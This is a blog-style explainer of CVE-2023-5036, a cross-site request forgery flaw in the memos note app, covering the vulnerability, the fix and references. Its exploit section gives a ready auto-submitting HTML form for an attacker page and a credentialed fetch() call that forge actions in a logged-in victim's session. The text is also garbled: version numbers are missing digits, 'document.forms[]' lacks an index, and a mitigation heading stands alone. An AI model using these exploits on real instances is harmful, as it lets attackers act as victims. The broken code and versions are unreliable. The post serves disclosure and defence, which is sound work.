If you use the open-source project memos, you should be aware of a critical security flaw tracked as CVE-2023-5036. In versions before .15.1, there is a Cross-Site Request Forgery (CSRF) vulnerability that could let attackers perform sensitive actions on your behalf, just by tricking you into visiting a malicious website.
In this long-read post, I'll explain what was wrong, how to exploit it, and how you can protect yourself.
What is CVE-2023-5036?
The memo application let users save and manage notes. But before version .15.1, its web interface didn't have sufficient protection against CSRF attacks. That means a malicious site could silently make requests to your memos instance while you're logged in, like modifying or deleting your notes—or even worse, changing account settings.
This issue was publicly disclosed on GitHub and patched in PR #1199, which added CSRF protections.
How Does CSRF Work?
CSRF tricks your browser into submitting a request to a target site (where you are authenticated) without your consent. Since your browser includes session cookies automatically, the attack runs as *you*.
For example, if you are logged in to https://memos.example.com and then visit a malicious page, it can silently ask your memos server to perform actions using your credentials.
The Vulnerability: Technical Details
In versions before .15.1, the /api/* endpoints do not require or check for a CSRF token. Most sensitive actions (like creating/deleting notes or changing user info) use POST, PATCH, or DELETE requests. There aren’t any checks to verify that the request actually *came from your site*.
Here’s an example of a sensitive API endpoint (creating a new memo)
POST /api/memo HTTP/1.1
Host: memos.example.com
Content-Type: application/json
Cookie: <your session cookie>
{
"content": "My secret note"
}
If a malicious site causes your browser to make this same request, your session cookie is sent along, and the memo is created as *you*.
Writing the Exploit
Let’s say we want to make a victim create a new memo called "Compromised by CSRF." The attacker just needs to lure the target to their website and include *some simple JavaScript or even a plain HTML form*.
Example CSRF HTML Exploit
<!-- Place this on evil-website.com -->
<form action="https://memos.example.com/api/memo" method="POST" enctype="application/json">
<input type="hidden" name="content" value="Compromised by CSRF!">
<input type="submit" value="Click me!">
</form>
<script>
// Automatically submit the form (for a silent attack)
document.forms[].submit();
</script>
Or, using JavaScript with Fetch API (modern browsers)
fetch("https://memos.example.com/api/memo", {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({content: "Compromised by CSRF!"})
});
As long as the victim is logged in, their browser sends the authentication cookie, and *bang* — new memo created with no user interaction.
Implement CORS policies and verify the Origin header
The original code missed these defenses, leaving users exposed.
The Fix
This bug was patched in version .15.1 with proper CSRF checks. Now, each form or API request must include a valid CSRF token—an attacker’s site cannot guess this.
Read more about the specific commit here:
https://github.com/usememos/memos/pull/1199
References
- GitHub Advisory: GHSA-9vjr-5h6w-w6m2
- CVE Details for CVE-2023-5036
- Memos Release .15.1
- OWASP: CSRF Explained
Conclusion
CVE-2023-5036 is a textbook example of why CSRF protections are vital, even for simple apps. If you're running Memos, *update now*. If you run any web app, make sure you understand and protect against CSRF. Security is everyone’s job—don’t let attackers write your notes for you!
Have questions or need help? Feel free to ask below.
Timeline
Published on: 09/18/2023 06:15:00 UTC
Last modified on: 09/19/2023 13:18:00 UTC